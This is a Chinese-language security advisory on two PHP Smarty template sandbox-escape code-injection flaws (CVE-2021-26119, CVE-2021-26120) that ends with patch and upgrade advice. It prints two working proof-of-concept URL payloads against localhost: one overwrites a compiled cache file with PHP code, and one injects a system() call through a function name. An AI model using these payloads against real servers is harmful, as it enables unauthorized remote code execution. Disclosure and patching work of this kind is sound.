PHP Smarty模版代碼注入漏洞(CVE-2021-26120)

發布時間 2021-02-26

0x00 漏洞概述

CVE  ID

CVE-2021-26120

時   間

2021-02-26

類   型

代碼注入

等   級

高危

遠程利用

影響范圍

PHP Smarty < 3.1.39

 

0x01 漏洞詳情

image.png

 

Smarty是通過PHP開發的模板引擎,它分開了PHP邏輯代碼與外觀(HTML頁)以便于管理。

近日,PHP Smarty被披露存在2個PHP代碼注入漏洞(CVE-2021-26120和CVE-2021-26119),攻擊者可以通過利用這些漏洞來注入任意代碼。

template_object沙箱逃逸PHP代碼注入漏洞(CVE-2021-26119)

在Smarty中,Smarty從$smarty.template_object變量訪問實例,由于攻擊者可以訪問smarty或parent屬性,從而可以訪問Smarty實例。成功利用此漏洞的攻擊者可以通過構造惡意數據,最終造成遠程代碼執行。

POC代碼如下(需兩次運行,第一次寫入緩存文件然后將其覆蓋,第二次觸發緩存并包含文件以執行遠程代碼。):

http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php+phpinfo();",$s)}

image.png

 

Smarty_Internal_Runtime_TplFunction沙箱逃逸PHP代碼注入漏洞(CVE-2021-26120)

由于Smarty在編譯模板語法時,Smarty_Internal_Runtime_TplFunction類在定義時不能正確過濾name屬性tplFunctions,攻擊者可以通過注入Payload,最終遠程執行代碼。

PoC代碼如下:

http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

image.png 

 

0x02 處置建議

目前該漏洞已經修復,建議及時更新升級到3.1.39或更高版本。

鏈接如下:

https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md

 

0x03 參考鏈接

https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq

https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q

https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

 

0x04 時間線

2021-02-18  Steven Seeley披露漏洞

2021-02-26  VSRC發布安全通告

 

0x05 附錄

 

CVSS評分標準官網:http://www.first.org/cvss/

image.png